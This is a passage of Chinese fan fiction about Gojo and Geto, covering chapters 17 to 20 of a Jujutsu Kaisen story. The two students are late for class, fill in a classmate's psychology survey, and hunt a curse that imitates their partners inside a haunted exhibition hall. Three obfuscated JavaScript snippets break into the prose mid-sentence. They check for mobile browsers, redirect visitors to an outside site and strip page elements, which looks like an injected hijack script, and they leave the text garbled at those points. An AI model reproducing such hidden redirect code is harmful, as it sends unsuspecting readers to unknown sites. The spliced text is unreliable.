五条悟把手机屏幕递到他面前，摁亮屏幕给他看时间，语调说不出的幸灾乐祸，抑扬顿挫：“还有两分钟上课，我们迟到啦~啊，好可惜，杰明明不想做迟到的坏孩子的，怎么、会这样呢——” 夏油杰：“……” 这个笨蛋……靠谱的时间能不能久一点啊！ 夏油杰咬了咬牙，拳头硬了。 他反手拽住五条悟的衣领，冷静道：“那好吧，我们现在去教室，悟要小心晕车。” 五条悟：“诶。” 五条悟：“诶——！！！” 17.第 17 章 两个男高中生在寝室走廊拖延了好一段时间解决问题，最终只剩两分钟后，即便紧赶慢赶超速驾驶，也不出所料的迟到了。 长相凶狠的班主任面无表情地抱手看着两个响铃30s后才出现在教室门口的问题儿童，冷哼一声，一人赏了一记教导铁拳，让他们滚到教室后面去罚站了。 被揪上咒灵强行带来的五条悟拿着课本跟男同学往后走，躲着班主任的视线非常得意地冲夏油杰做了个鬼脸。 事已至此，总是时常被提醒暗恋对象本质是小学鸡的夏油杰无比地心平气和，默默在纸上写了【下课之后出去谈谈吧】展示给五条悟看，随即不论五条悟再如何费尽心思地骚扰他，也不再接茬了。 尽管已经预定了一场绝对会从讲道理进展至小学鸡斗殴的“谈谈”，但五条悟的心情竟然出奇的不错。 夏油杰显然没有真的生气，只是此人在某些事情上相当地脸皮薄。 就比如这次，这家伙很擅长照顾别人，但却非常不能坦然接受别人的好意，意识到自己被照顾了之后，会陷入不好意思的状态也很正常啦。 五条悟又瞟了他好几眼，不免洋洋得意起来——五条大人的治疗水平属实无出一二，无论是铁石心肠的回避型大狐狸，还是喜欢偷偷生闷气的哑巴小狐狸，统统都能手拿把掐。 他得意的样子太引人注目，夜蛾正道终于还是忍无可忍了，“啪”地一下丢了根粉笔过来，“悟！你的黑板到底难道在杰脸上吗？！” 五条悟帅气地用两指夹住了班主任丢过来的粉笔，不满道：“老子有在看的，夜蛾也要考虑一下特殊人群的感受啊。不就是没正面看黑板吗？你怎么能笃定老子侧着看就看不见呢？” 夜蛾正道将信将疑地抽问了几个刚刚上课讲到的问题，五条悟竟然真的对答如流。 班主任一时也无法判断究竟是五条家给他的咒术知识基础打得太好，还是这小子今天真的在尝试全新的听课方法…… 既然抓不到他的错处，只能暂且放过了，但夜蛾正道还是教训道：“那你也不能打扰杰上课，要侧着看就看另一边。” 夏油杰在笔记本上写着什么，眼都没抬，很淡定地说：“没关系，我没被影响。随悟高兴就好。” 五条悟一副“杰自己都没意见”的表情，无辜摊手，就差直问“可怜的中年男人在多管什么闲事”了。 “噗嗤。”唯一一个坐着的家入硝子还是没能憋住笑，在班主任视线扫过来时又勉强收敛，但嘴角仍然时不时地抽动，看起来非常难绷。 夜蛾正道：“……” 班主任一阵心累，清了清嗓子继续讲课。 趁着夜蛾正道转身，夏油杰不动声色地把课本往上举了一些，刚好略微遮住口鼻，悄声道：“悟的家里人听了都要气死了。” 明明是别人求都求不来的六眼，被五条悟说得像缺陷似的……不过虽说的确有便利啦，但确实给五条悟带来了不少困扰。 五条悟挑了挑眉，也学着他的样子把课本举起来，压低声音说：“那个不重要，所以杰没再闹别扭了吧？” 夏油杰睨了他一眼，“我本来就没有，关心悟的健康而已。不要说得像自己昨晚不是因为熬夜和别人聊天才没睡好的。” 至不至于啊，这都多久了怎么还在热恋期？虽然也直接说了可以让他随时没收手机，但他怎么可能真的一直这样做…… 五条悟勉为其难地解释道：“没有，真没熬夜。就是单纯没睡好而已，最近压力挺大的，可以的话杰下课之后陪老子去买今日限定的甜品好了。” 既然已经得到了夏油先生的认可，又被夏油杰认真地教导过，他就更不可能随随便便把那边的真实情况说出去了……毕竟也算是夏油先生的隐私嘛，他说不说要取决于夏油杰问不问了。 “……哦，压力大。”夏油杰心说对面到底又给你上什么节目了，好像自谈上之后悟的压力一直都挺大的。 既然已经有人给五条悟上了强度，夏油杰就不想再压力他了，不免心软道：“那悟下午回寝室休息，把地址给我，我帮你买回来就好了。” “诶——”五条悟皱着脸，抗议道，“不要啦，老子要和杰一起去，那个是双人限定。” 夏油杰无语，“那不是情侣套餐吗？悟叫我去？” “不是啊，真的是双人限定。”五条悟很坦然，“谁知道这些商家是怎么想的。” 可恶的资本家的阴谋罢了，限定就算了，还要说是什么双人限定。难道到场的人真的就只为了那么一小份限定甜品吗？两个人怎么可能就吃一份，一定还要买点其他的吧？ 太卑鄙了。 夏油杰：“……” 呵呵，好卑鄙的双人限定……虽然没有情侣之实，但很容易给两人之中心怀不轨的那个一点微妙的胜利感。 夏油杰又没忍住竞了起来，稍加思索后说：“也行。” 他之前的抗拒心理太重了，突然飞快地妥协，五条悟顿感不妙，扭头看他，神色专注，夏油杰也一头雾水地看了过去。 ——两人就这么莫名其妙地对视起来。 写完板书转身回来的夜蛾正道：“……” 他就知道这两个小子的心思根本不在课堂上！ 总是看着对方干什么？黑板又不在对方脸上！ 于是，两个专心讲悄悄话的笨蛋男高还是如愿以偿地各自又收获了一根粉笔。 …… 课后，终于还是教训了问题儿童们的夜蛾正道夹着教案匆匆地离开了。 两个快饿死的男高刚准备出门去觅食，就被女同学拦下了。 家入硝子从桌洞里掏出两份调查问卷递给他们，又迅速补上了给他们带的早餐，说：“你们先别走，帮我填个问卷。” 夏油杰还没看问卷的内容，就被家入硝子这个先送早餐的操作惊到了，吐槽道：“硝子好像那种先送鸡蛋的骗子哦。” “如果你想要的是鸡蛋的话，也不是不行。”家入硝子不置可否。 夏油杰黑线：“……我不要。” 五条悟一看那张调查问卷的标题，就忍不住道：“硝子怎么一副要深入研究心理学的样子？” ——高专咒术师心理测评问卷。 “看了看前辈们留下来的资料，发现咒术师的心理状态都相当堪忧。”可靠的家入硝子转了转笔，“我决定先从身边的人开始调查，快点填……对了，要认真填，这是仅用于个人研究的，我不会给别人看。” “有什么不能看的嘛。”五条悟不大在意，结果再一转眼，夏油杰已经拿着问卷到一边去了，顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15194942|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时就叫起来，“喂喂，杰——你也太惯着硝子啦！” “既然是硝子想要研究的，悟配合一点。”夏油杰真要开始填表了，发现五条悟凑过来便拿手遮住，发出驱赶松鼠的声音，“去去，悟自己到一边去填。” 五条悟撇撇嘴，“老子才不稀罕看呢。” 他乖乖走到了另一个角落去，在问卷上写好了自己的姓名，才慢慢开始看题。 五条悟飞快填过几个不需要多加思考、很常规的心理咨询题后，这封问卷终于显示出一点它与其他心理问卷的不同之处……它的问题跳跃度很大，大概是为了附和标题中提到的“咒术师”，勉强在最后给出了两道相关的问题。 6.请问您是为何选择成为咒术师的？ 五条悟往上看，第五题还是【您最近是否有情绪失控的情况？】，而他坚定地写了【没有】，俨然没把一个多星期之前的气急败坏考虑在内，大概率是根本没花功夫去想…… 他想了想，写道：【老子做咒术师不是理所应当的嘛，从出生开始就确定了】。 7.您对作为咒术师的未来有什么展望吗？ 未来展望？五条悟很诚实地写：【被烂橘子领导的未来有什么可展望的？】 这已经是最后一题了，五条悟写得飞快，停笔的时候夏油杰还在慢悠悠地写。 对方不让他看，五条悟远远一瞟只看见这家伙整张问卷填得相当充实，显然是调查人最喜欢的那种填写者。 又等了片刻，夏油杰才终于停笔。 家入硝子收上来两份问卷，静默地对比着看了一会儿，笔尖先点点问题最严重的家伙，“傲慢自大狂，”又指向整张问卷仿佛都不加思考就轻易填完了的家伙，“高纯度笨蛋。” 夏油杰耸了耸肩，笑道：“我填得很认真的，硝子。” 每个问题可都是深思熟虑后才回答的。 五条悟三天两头就被攻击是笨蛋，此刻已经完全免疫——切，太聪明了，他从没对这一点产生过怀疑，故而不想和女同学计较。 他现在更关心的是夏油杰的问卷填了什么。 家入硝子的评价太尖刻了。 虽然五条悟也能想到恐怕就是些“惩强扶弱、弱者生存”之类的正论，但就是想自己拿过来看看。 不过家入硝子已经把得到的两份问卷收了起来，她倒是很坚定自己的“仅个人研究”，拿起来就走，根本不给五条悟开口的机会。 于是五条悟只能看向夏油杰。 夏油杰弯起眼睛，说：“不会告诉悟的，都说了是秘密嘛。” 五条悟鼓了鼓脸，在胸前双手交叉，大叫道：“什么嘛——明明才说过秘密禁止！” “好吧，那换个说法——是惊喜。”夏油杰漫不经心道，“悟以后就能知道了，反正我们一直都在一起。” 要不怎么说这家伙很会讲话呢……五条悟还是很有耐心的，“喔，那以后要告诉老子。” 就在这时，不知道是谁的手机响了一声，五条悟没先去看自己的手机，只是又盯向了夏油杰。 夏油杰还以为是先前的事，顿时黑线道：“……悟倒也不用这样。” 他话出口了，又稍微呆了一会儿才猛然反应过来，是自己的手机响了。 夏油杰：“……” 18.第 18 章 在五条悟大声嘲笑他之前，夏油杰首先伸手捂住了这家伙的嘴，随后才开始检查邮箱。 刚刚是和他们合作过许多次的辅助监督发来的邮件，简短地表达过又要找他们加班的歉意之后，便附上了任务资料和移交任务负责咒术师的文件。 这是原属于其他术师的咒物回收任务，但现在出现了意外情况。 回收咒物的两个二级术师们已经进入任务地点三天，却没有传回任何消息，处于完全失联的状态。 “窗”怀疑那件咒物很有可能已经在展馆内破开了封印，吸引或者诞生了强力的咒灵。 而存放咒物的展馆又是当地有名的景点，已然因故封锁好久了，现今的压力不仅是生死不明的术师们带来的，还有略显急迫想要开始营业的展馆方…… 如果可以的话，希望他们两个能够救援被困的术师，顺便再回收一下咒物。 五条悟一看就知道这任务相当麻烦。 先不提能绊住两个二级术师的危险情况，这种展馆，恐怕遇到问题的时候还没来得及把展品收起来，要是处理过程中不小心破坏了一些展品，结束后免不了要扯皮，实在是步步有埋伏。 “要去救人啊，那就没办法了。”夏油杰动作娴熟地打包了硝子支援给他们的面包，招呼道，“我们先去和熊井先生会合吧，能去救援的术师也只有我们了。” 咒术师就是这么操蛋的工作。两人谁也没提今天又被迫鸽掉的限定甜品，骑上咒灵就出发了——毕竟情况紧急，就算是夜蛾正道也不能教训他们又这样赶路。 两人在路上解决了早午饭的问题，没花多久就到达了展馆的位置。 整个展馆已经被“帐”包裹了起来，正在求神拜佛祈祷的辅助监督终于等来救星，立刻就迎了上去，殷切道：“五条同学、夏油同学，你们终于来了！这次的任务……” 五条悟打断了他，“邮件里有的不用再说了，有新情况吗？” 辅助监督一噎，弱弱地说：“没有……” “窗”的能力有限，遇到这种术师失联的情况，也只能默默提高任务分级。如果最终还是遇到了最坏的情况，就只能硬着头皮把展馆完全封闭了。 五条悟：“哈。” 意料之中。 辅助监督：“……” “好吧，那我们就不再拖延时间了。会尽快完成任务的，放心吧，熊井先生。”夏油杰缓和了一下略显尴尬的气氛，带着五条悟向“帐”的方向走去。 辅助监督只能小声地强调过“最好不要破坏展品……唉，实在要破坏也行，安全第一”后，怀着郑重的心情将少年们送进“帐”中。 …… 乍一进入“帐”内，不妙的气氛扑面而来。 展馆建筑已然肉眼可见向外逸散着诅咒的气息，恐怕深陷其中的两位二级术师已经凶多吉少……至于那些还未来得及收敛的展品，大概也很难留有遗骸了。 “看来只剩回收咒物要做咯。”五条悟双手插兜看着非常完蛋的展馆说着，眼睛一瞟，发现挚友已经默默在拍摄展馆外立牌上画的平面图了。 他们现在只知道存放的咒物在二楼的E展区，不过看样子这条信息也是无效信息了。五条悟提醒道，“已经被诅咒侵蚀到这种地步，里面的空间大概率和图没关系了。” “姑且先拍下来吧，万一有用呢？”夏油杰淡定地把手机收起来，挥挥手示意五条悟和他进入展馆，还嘱咐道，“不能觉得自己足够强就大意，悟也要小心一点。” 五条悟漫不经心道：“好啦，这不是有杰在吗？细节的部分就拜托——” 两人踏入展馆的瞬间，天旋地转。 五条悟话还没说完，就被甩到了展馆内不知道哪里去，夏油杰不在他附近，大概也是同样的遭遇。 展馆内部倒是非常明亮，五条悟四下看了看，他所在的展区主要是在展出画作，受到诅咒的影响，墙上的人像油画纷纷展现出了动态，挪动眼珠看向他。 六眼已经很诚实地展现出了那些附在油画上的诅咒气息——甚至都还没来得及形成咒灵，弱得不行，而油画本身是没有问题的，只是此事之后可能要送到高专去净化一下。 于是五条悟不闪不避地一个个瞪了回去。 大概从没想过会遇到这样大胆的人类，被瞪过之后，感到威胁的诅咒气息默默收回了视线，不再和五条悟玩干瞪眼，怂怂地装起死来，这个展区的异常全数安分了。 五条悟在跟诡异油画们对视的游戏中轻松获得胜利，发出一声得意的嗤笑后，昂首挺胸地向下一个展区走去。 最近的展区展出的是雕塑。 雕塑区比画作区惨得多，这里咒力残秽浓郁，有咒术师在这里战斗过，让不少的雕塑都倒在地上碎成了渣。而在那些碎渣之中，躺在一具人类的尸体。 五条悟无视了缓慢向他移动的雕塑，这些东西也是本身没问题的，真正有问题的已经让先前的咒术师打成渣了。 他目的明确地向那具尸体走去，视线扫过，没费多少功夫就将这张脸和失联的术师之一对上了号，好像是叫做竹村……什么来着？他不那么擅长记住男人的名字。 咒术师的直觉告诉他竹村的死因大有蹊跷，所以五条悟没有立刻走人，而是暂停脚步，留下稍微分析了片刻。 竹村与其说是在和活动的雕塑搏斗时被杀死的，不如说是在毫无防备的情况下遭了偷袭，致命伤是在颈侧的切割伤，看伤口的走向……应当是近距离自背后割过来的。 五条悟挑了挑眉。 能在这么近的距离对一个二级术师动手，还顺利得逞了，对方只能是竹村非常信任的人。难道是竹村不知所踪的搭档吗？那个藤原……嗯，藤原，到底是什么样的深仇大恨能让他放着任务不管也要先干掉自己的搭档啊？ 按理来说，既然都已经是二级术师了，搭档不该是一起出生入死过许多次的至交好友了吗？怎么会闹到现在这种地步的？ 太可怜了，五条悟不禁为竹村默哀了片刻，勉为其难地记下了尸体在雕塑厅的信息，还没迈步离开，就忽然听到了夏油杰的声音。 “悟？是你在那边吗？” 五条悟像是突然回过神来了似的，头也没回地应道：“是老子，看来杰没被扔得太远嘛，你快来看，我找到一具尸……” 他说着，却愈发感到不对了，猛地回头看向出现在门厅处的人。 只看外表的话倒是没什么问题，相同的校服上衣，让五条悟觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200679|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得有点奇怪的阔腿裤，甚至连发型和五官都复制得恰到好处，但却无时无刻不给人一种强烈的违和感。 咒力的残香是正常的，只是有点略显稀薄，不过这个还不算最拙劣的部分。 那么，走路的姿态？脸上的神情？还是刘海摆动的频率？不，都不是，五条悟定定地看着向他走来的‘夏油杰’，才愈加肯定最强烈的违和感究竟从何而来。 这东西只是在模仿而已，模仿得再惟妙惟肖也不能消除掉身上的伪劣品的气息。 如果换了其他人，在精神绷紧许久，处理过种种怪异后，突然遇到和自己分散许久的搭档，一时放松警惕也是人之常情。 毕竟前面各式各样的障眼法已经那么多了，怎么会觉得此地还有其他东西在作怪呢？ 就算能察觉到违和，也只会努力说服自己不要怀疑同伴罢了。 五条悟想，他大概已经知道竹村的真正死因了。 ‘夏油杰’仍然靠近，五条悟冷不丁道：“咒灵吗？再靠近就直接轰烂你的脸哦。” 对方露出一个有点疑惑的笑，并没有停住脚步，一边靠近一边解释说： “知道悟现在很警惕了，但也不至于连我也认不出来了吧？我在那边找到了负伤的藤原先生，恐怕你找到的尸体就是竹村先生了，我们先把藤原先生送出去再考虑回收咒物的问……” 五条悟一言不发地抬手对准他，已经摆出了“苍”的手势。 既然咒物的影响已经覆盖到整个展馆，那么能提取踏入此地的人的认知也是很正常的事情，能说出一些事情并不足以证明自己的身份，更何况五条悟已经坚决地确认面前的‘夏油杰’就是假货了。 ‘夏油杰’陡然失声，拧着眉头站在原地有点恼怒的样子，“我都说了……悟能不能不要在这种时候添乱？” 笑死，这个训人的劲还挺有那意思的。但拦不住五条悟张嘴就胡扯： “顶着那张脸胡说八道什么呢。这种时候杰才不会怪老子呢，当然是要用毕恭毕敬的语气请老子配合行动，学不明白吗？现在立刻马上，请五条大人配合行动，否则绝对不会相信你的。” ‘夏油杰’：“……” 看着对面的白发少年如此笃定的信口开河，这只咒灵似乎遭遇了事实与认知相冲突的毁灭性打击，“啵”的一声后便不再能维持住伪装，色彩纷纷从身上褪去，最终只剩下一边掉色一边尖叫的假人慌里慌张以非常扭曲四肢并用的姿态迅速逃离。 五条悟都惊了，这货扮成夏油杰的样子准备来伏击他，却因为被戳穿了身份就这样逃走了？也——太弱了吧！ 不过他转念一想，毕竟五条大人厉害得很，除了他之外，也不是谁都能第一眼就那么笃定对方是假的嘛。 咒灵尖叫着飞快逃离，五条悟也不会闲着，当即迈动脚步追了上去，但这咒灵的速度简直见了鬼似的快，甚至还被这座已经让咒物影响了的展馆协助着，花了一点功夫，但还是脱离了五条悟的追捕。 在咒灵的主场被甩掉了，五条悟姑且还算心平气和，但很快，一种莫名的忧愁感拢上他心头。 就算是他，也要多看两眼才能意识到不对劲。 ……杰，应该不会被骗吧？不会的吧？ 19.第 19 章 夏油杰觉得还OK。 他一进展馆就被甩到了摆满了奇怪玩偶的房间，勉强与先前拍过的平面图对比之后，才大概确认自己所处的是一层的C展区。 据说这些和夜蛾正道的咒骸风格很相近的玩偶是此次作为此次展会主题艺术家的倾力之作，表达了一些锐意进取、不受主流限制的思想感情……也许有机会也能让班主任来开一次展。 夏油杰就这么轻快地想着，冷酷地召出咒灵摁住了那些意图靠近他的丑玩偶们。 五条悟意料之中地不在他身边，要是这座展馆里的危险几乎都是他遇到的这种水平，那暂且不用担心…… 但那个笨蛋一副昨晚没睡好的样子，果然还是先找到悟吧，如果能顺路找到咒物就更好了。 只是他在C展区内搜寻了好一会儿，也没能找到上楼的地方……看来正如五条悟进入展馆前所说的，现在展馆内部的空间已经完全混乱了，用常规的方式并不能到达存放咒物的展区。 夏油杰正考虑着要不要干脆直接打穿天花板时，门厅处忽的传来了非常沉重的脚步声。 他循声看去。 一个中年男子捂住腹部跌跌撞撞地闯了进来，突然意识到展区内还有其他人时猛地抬头，脸上满是惶恐的惊疑不定，看过他标志性的校服后才试探道：“高专的……学生？” 中年男人的状态看起来实在算不上好，跑进这个展区大概已经耗费他大部分的气力了，扭头看过身后没有追兵后便靠着墙坐了下来，自言自语道：“算了，大不了就是死在这儿……” 他虽然坐下了，却一副夏油杰只要靠近，他就会立刻发动术式的样子。大概这三天在展馆内的经历实在算不上好。 这个阵仗实在唬人，夏油杰谨慎地和他保持着距离，拿出手机对了一下邮件中附带的两名二级术师的证件照，终于将中年男人的脸和其中的藤原明对上了。 “藤原明前辈？”夏油杰远远地将自己的学生证丢给他，自我介绍道，“我是东京高专一年级生夏油杰，您跟您的搭档竹村和宏已经失联三天了，我接到任务前来救援。” “三天……已经三天了？”藤原艰难地把他的学生证勾过去，偏着头看了一会儿，也不知道有没有相信他的说辞，用一种很惊奇的语气感叹道，“到底是我疯了还是总监部终于疯了？一年级来救援……等等，准一级？！” 听说今年东京高专的一年级的确很有水平，三个学生全是百年难遇的天才。不过更多的藤原也不记得了，他顶天就知道反转术使和六眼神子，至于第三位……虽然很有天赋，但好像没那么出名。 夏油杰很谦虚地说：“下学期应该就可以升一级了。” 他手上两个一级咒灵，裂口女和虹龙，已然攻防兼备，如果没有哪个烂橘子想装怪卡他评级的话，那就差不多可以升级了。 干了十几年归来仍是二级术师的藤原：“……” 0个人问你。 可怜的二级术师再三确认过自己对夏油杰没有印象，这个展馆无论如何也不能靠他的认知复刻出此人，才勉为其难地信任了他的说辞，解释起了自己在展馆内的遭遇。 他和搭档竹村也是自从进入展馆后就被神秘力量分开了，只好自己尝试寻找咒物，可不仅一无所获，接下来的走向还变得灵异了起来—— 藤原不断地在展馆各处遇到突然冒出来的搭档，一开始他还能凭借对搭档的了解识破咒灵的伪装，后来却猛然发现咒灵的伪装越来越惟妙惟肖…… 他实在分不清了，刚刚几乎相信了一个和他搭档别无二致的家伙，要不是留了个心眼，现在已经被杀掉了！ 夏油杰听完，静默了片刻，后退了两步。 藤原露出了非常莫名的表情，问：“……你干嘛？” 夏油杰礼貌地说：“谢谢您告诉我这些，不过如果那只咒灵真如您所说，我们还是互相保持防备比较好。您还能站起来吗？我可以用咒灵扶您，它们都是被我的术式调伏的，很安全。” 藤原：“……” 这小子明明满口敬语，却怎么听怎么气人，藤原崩溃道：“我们在这之前又没互相见过，我怎么可能是假的呢！” 我，要怎么证明，我，是我呢？！ “还是小心一点吧，藤原前辈。”夏油杰也习惯了其他术师对咒灵靠近的抗拒，施施然又提出了另一个建议，“那我留一些咒灵在这里值守，我还要去找我的搭档，顺便回收咒物。” 这人怎么不听劝呢？藤原更是震惊，“你也找搭档……你就当我没良心吧，我建议你先别找，后面遇到的任何人都别相信，找到咒物就立刻先离开这里，先解除异状再想搭档的事吧。” 前辈言辞恳切，看起来着实真心为他担忧。 夏油杰测试完毕，走过去向倒霉的幸存者前辈伸出手，微笑道：“好的，您的建议我会考虑的。把您一个人丢在这里也不太好，我们还是一起走吧。” 藤原实在越看他越无语，撑着夏油杰的手站起来后就拒绝了被扶着走的建议，摇着头说：“唉，我自己走吧。这里除了那个伪装咒灵之外，还有一些小麻烦，你注意警戒。” 他说完这句话，眼神又瞟了一下那边被夏油杰的咒灵摁住的玩偶们，莫名觉得自己的提醒相当聊胜于无……这样的小麻烦，根本没办法给夏油杰造成困扰。 夏油杰倒是很体贴地没拆台，谢过了藤原的提醒，又召出几个小型咒灵保护在他身边，两人步入外界的走廊，缓缓向其他展区行进，试图找到已经不知道在哪儿的二楼E展区。 藤原显然还没从先前的真假搭档惊魂中脱离出来，为了把自己的注意力重新引回来，便问了一句：“对了，夏油君，你的搭档是谁来着？” “悟，五条悟。”夏油杰随口回答。 藤原的表情变得有些古怪，叹了口气，语气突然变得略显怜悯，“哦，是五条悟啊。听说那家伙的性格相当难搞啊……和他搭档还真是辛苦你了。” 夏油杰脚步微微一顿，随即仿佛什么都没发生过似的继续向前走，听不出情绪，“还好，悟很可靠，我受过他很多关照。” 五条悟毕竟是咒术界的超级大名人，不认识他的人才少……不过这家伙对自己的名声一点都不在意，嚯，悟是个黑红咖啊。 藤原：“……” 不对，这小子似乎对五条悟的好感还挺高的，还是不要乱讲话了。 大概是他们这边太过挂念五条悟了，前方的拐角忽的出现一个双手插兜大摇大摆走出来的白发少年。 他刚见着走来的两人，便颐气指使道：“喂，夏油，还有那个大叔，快点过来，老子在这边发现了竹村。可别想让老子做运送伤员这种活计。” ——活脱脱一个小橘子少爷。 藤原小声问道：“……真的假的？” 听夏油杰的称呼，这两个人关系应该还不错，对面的态度也太没把人当人看了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206470|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以这个应该是假…… 夏油杰面无表情：“真的。” 藤原：“哈啊？！” 而飞快敷衍了前辈的夏油杰却做出了与他说辞完全不同的反应，眼都不眨便召出了咒灵一口将那个顶着五条悟外表的存在吞掉了。 然而被吞掉的家伙却直接化作咒力，让他的咒灵吸收掉了，并没给夏油杰把它捏成咒灵玉的机会。 再联想到藤原所说，夏油杰顿时便确认藤原遇到的那些从各处冒出来的搭档都是咒灵的分身，如果不找到本体的话是没办法调伏的…… 难怪藤原遇到了这么多次假冒的搭档也没办法彻底祓除咒灵，最终还是受了伤。 但……夏油杰想到刚刚咒灵的伪装，嘴角不禁抽了抽，想笑。 怎么会出现一个这么ooc的？咒灵到底吃了谁的洗脑包啊，怎么比他身边这位藤原前辈对五条悟的刻板印象还要重？ 发现夏油杰似乎有点故意涮他的意思，藤原忽的觉得自己腹部的伤口有些抽痛起来……大概是又想哭又想笑，有些不好控制肌肉，弱弱问道：“……这是怎么判断的？” 夏油杰轻飘飘道：“悟才不是这样的人。” 五条悟虽然会故意刺挠他，但可不会用这种高高在上的语气讲话呢。悟可比某些家伙更明白什么是平等。 绕过第二个走廊，前面果不其然又出现了新的白发少年。对方站在楼梯上压了压墨镜，先发制人道：“喂，那边的家伙，你们是真的还是假的？” 藤原松了口气，试探道：“这个、这个应该是真……” 夏油杰毫不犹豫，“假的。” 五条悟哪有这么呆？难道是嚣张跋扈小橘子被拆穿之后，就换了新人设来演？ 他否认得太过笃定，藤原和咒灵同时呆住了。 藤原：“？？？” 夏油杰隐约意识到咒灵的弱点，也开始胡说八道：“要模仿也先做做功课吧。悟可是五条家的大少爷，怎么可能主动开口问呢？只要一看就能确认我们的身份咯，有什么好问的。” 再次受到了认知和事实相斥的冲击，咒灵转身就跑，一边跑还难以维持自己的伪装，一个纯白假人模型手脚并用乱七八糟地逃跑。 夏油杰看了一眼背后的伤员藤原，还是没有丢下他自己追上去。 藤原更加迷茫了。 他刚刚遇到咒灵扮演的伪人搭档时，也花了好一阵功夫才看出来，怎么这人刚照面只听一句话就判断出来了？ ……这就是准一级术师的余裕吗？真是可怕的咒术师天赋啊。 夏油杰瞥了他一眼，淡定地宽慰道：“每个人都觉得他们从别人口中听来的另一个素昧蒙面的人的形象是真的，所以，对于藤原先生来说，一直都是真的，不用怀疑自己。” 感到黑发少年话语中那若有若无的阴阳怪气意味，藤原终于老实了，眼睛一闭终于不再试图证明自己的咒术师经验，只幽幽说：“我错了，对不起……顺利的话，等会把我搬出去就好……” 藤原先生终于因为体力不支昏了过去。 “诶，藤原前辈……”夏油杰回头拍了拍他，确认绝望的前辈彻底失去意识后才叹了口气。 他吐槽之心愈发强烈，此刻更加怀念起五条悟来——藤原前辈根本不懂他的包袱，也不能接他的茬，听几句稍微有点尖锐的就气血上涌两眼一翻，显得非常玩不起。 果然，还是自己的搭档最好啊。 20.第 20 章 比起回收咒物，夏油杰还是得先考虑伤员的情况。 他先给咒灵们下达了保护藤原的命令，以防等会儿又遇到被传送的情况，才带着他们一同往楼梯上走。 展馆内的空间完全是混乱的，夏油杰自认为是在往上走，实际上，当脚步踩上“二楼”的地板时，他只简单地扫了一眼面前展区内展品的名称，就确认自己只是来到了平面图上记录的一楼A展区。 艺术家超然的展品对夏油杰来说实在意义不明，此刻他也没有鉴赏的心情，只粗略带着咒灵处理了一下A展区内的异常。 夏油杰处理完A展区的异常后，回头就看见一个白毛在昏迷的藤原先生边探头探脑。 他的咒灵尽职尽责，没让除了主人之外的任何存在靠近被包围在其中的藤原先生，白毛探头探脑仍然不得其解。 见夏油杰的视线投了过来，白发少年直起身来，毫无先前摸不着头脑的样子，自然而然地说：“哟杰，你已经找到其中一个倒霉蛋了啊。这家伙真是有够幸运的……老子那边只有具尸体了，杰来帮帮忙嘛。” 夏油杰：“……” 如果不考虑之前看到的，对方对这群留守保护的咒灵束手无策的样子的话……咒力的味道，没什么区别，甚至连咧嘴的弧度都一模一样，但就是怪怪的。 先前那两个实在假得让人发笑，如果不是咒灵没办法被普通的镜头拍到，夏油杰甚至还想留点纪念照片，以后突然拿出来嘲笑一下挚友。 然而，这回的……夏油杰眨了眨眼，努力地试图找出一些细节上的差异，但，没有。 对方的五条悟cosplay实在太还原了。 假如没刚好看见对方困扰的样子，夏油杰只能说自己可以靠直觉确认对方不是真人，但更多的理由，他也有点说不出来了。 要是其他人，他还不可能如此笃定地就凭直觉判断，但是五条悟的话，夏油杰还是有这个自信的——这个、绝对是假的！ 伪人咒灵恐怕已经靠保存在这里的咒物提升了很大一段实力，虽然没有在攻击性上展露出什么天赋，但自己的本职——伪装人类，已经到了登峰造极的地步。 待在这里的时间越久，它的扮演就越能到达以假乱真的效果。就算还被植入了一些莫名其妙的诡异设定，但记忆是无法造假的，这只咒灵恐怕可以通过这间展馆窥探其中人类的记忆，并且它的模仿能力非常恐怖…… 难怪藤原前辈直到被袭击之前都没有发现身边的搭档是由伪人咒灵假扮的。夏油杰不动声色地命令自己的咒灵将藤原围得更紧了一些，根本不给传奇coser靠近的机会。 尽管还没能确认伪人咒灵最终究竟能不能做到将术式也复制下来，但现在也不能再拖延下去了——五条悟本人还情况不明呢，他再和这些冒牌货浪费时间，保不齐接下来会发生什么。 大概是他沉默的时间太长，咒灵也有些怀疑了，便开口问：“喂，杰还呆着做什么？莫非是在怀疑老子的身份？” “啊，那也是没办法的事嘛。”夏油杰毫无破绽地微笑起来，“这里的情况你应该也清楚，所以在我相信之前，做点什么来证明自己的身份吧？” 他们之间还有一定距离，伪人咒灵离昏迷的藤原先生更近一点。如果只考虑抓住伪人咒灵的效率的话，用原本保护藤原先生的咒灵们直接一拥而上会更方便一点…… 